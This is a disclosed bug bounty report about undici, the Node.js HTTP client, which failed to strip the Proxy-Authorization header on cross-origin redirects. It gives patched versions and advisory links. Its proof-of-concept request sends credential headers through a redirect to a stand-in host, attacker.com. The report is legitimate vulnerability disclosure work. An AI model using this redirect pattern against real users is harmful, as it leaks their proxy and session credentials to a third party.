Internet Bug Bounty · Report #2390009

Proxy-Authorization header is not cleared in cross-domain redirect in undici

Validstatus

lowseverity

$405bounty

30upvotes

12 Mar 2024disclosed

Summary

Proxy-Authorization header not cleared on cross-origin redirect in fetch

Impact Undici already cleared Authorization headers on cross-origin redirects, but did not clear Proxy-Authorization headers.

Patches This is patched in v5.28.3 and v6.6.1

Workarounds There are no known workarounds.

Full GHSA: https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3

How it was found

I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g. It only clears authorization and cookie header during cross-domain redirect . {F3080120}

As such this may lead to accidental leakage of "Proxy-Authorization" to a 3rd-party site.

import { request } from 'undici'
const {
    statusCode,
    headers,
    body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
    maxRedirections: 3,
    headers: {
        "autHorization": 'tes123t',
        "coOkie": "ddd=dddd",
        "X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o',
        'Proxy-Authorization':'xxxxxxxx'
    }})

console.log('response received', statusCode)
console.log('headers', headers)

for await (const data of body) {
    console.log('data', data)
}

{F3080121}

You can refer to this python code. https://github.com/psf/requests/blob/main/src/requests/sessions.py#L318 References https://github.com/psf/requests/issues/1885 https://fetch.spec.whatwg.org/#authentication-entries Impact undici v6.5.0

Impact

<= v5.28.2, >= v6.0.0 <= v6.6.0

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original